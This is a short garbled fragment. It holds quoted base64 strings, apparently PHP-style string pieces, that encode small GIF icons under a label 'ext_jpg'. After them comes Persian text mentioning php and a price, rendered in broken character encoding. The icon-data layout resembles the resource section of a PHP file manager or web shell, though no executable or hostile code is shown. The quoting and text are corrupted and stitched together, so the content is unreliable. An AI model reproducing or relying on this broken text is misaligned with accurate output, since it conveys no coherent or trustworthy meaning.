"DaFDA0KBAd9fnIKHXYIBJgHBQOHcg+VCikVA5wLpYgbBKurDqysnxMOs7S1sxIRBkx2BXWDfX8TD ." 

"ADs ,"= 

"ext_jpg >=" 

"

R0lGODlhEAAQADMAACH5BAEAAAkALAAAAAAQABAAgwAAAP///8DAwICAgICAAP8AAAD/AIAAA

ACA ." 

"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAARccMhJk70j6K3FuFbGbULwJcUhjgHgAkUqEgJNEEAgxEci ." 

"LsALaXCGJK5o1AGSBsIAcABgjgCEwAMEXp0BBMLl/A6x5WZtPfQ2g6+0j8Vx+7b4/NZqgftdCi8A ." 

"FxEAOw ,"==  



 
 

MR: MRN 

 سا فشاهَش ًىٌيذ. ّيچَلت اييٍ ّوِ ٍ ّوِ وبس سا اًدبم هي دّذ ،  ّوِ وبس اًدبم هي دّذ  php دٍستبى

 سا ًذاسيذ هي تَاًيذ ثب يه سشذ وَچيه دس گَگل آى سا پيذا وٌيذ. 9.99ضل اگش 

 #. 91اسثبة وٌن $  داًياسوطبى سا ثيبٍسم ، تطىش ٍ لذساًتْب خب داسد اص دٍست ػضيضي وِ ًخَاستي دس 

 

 

 


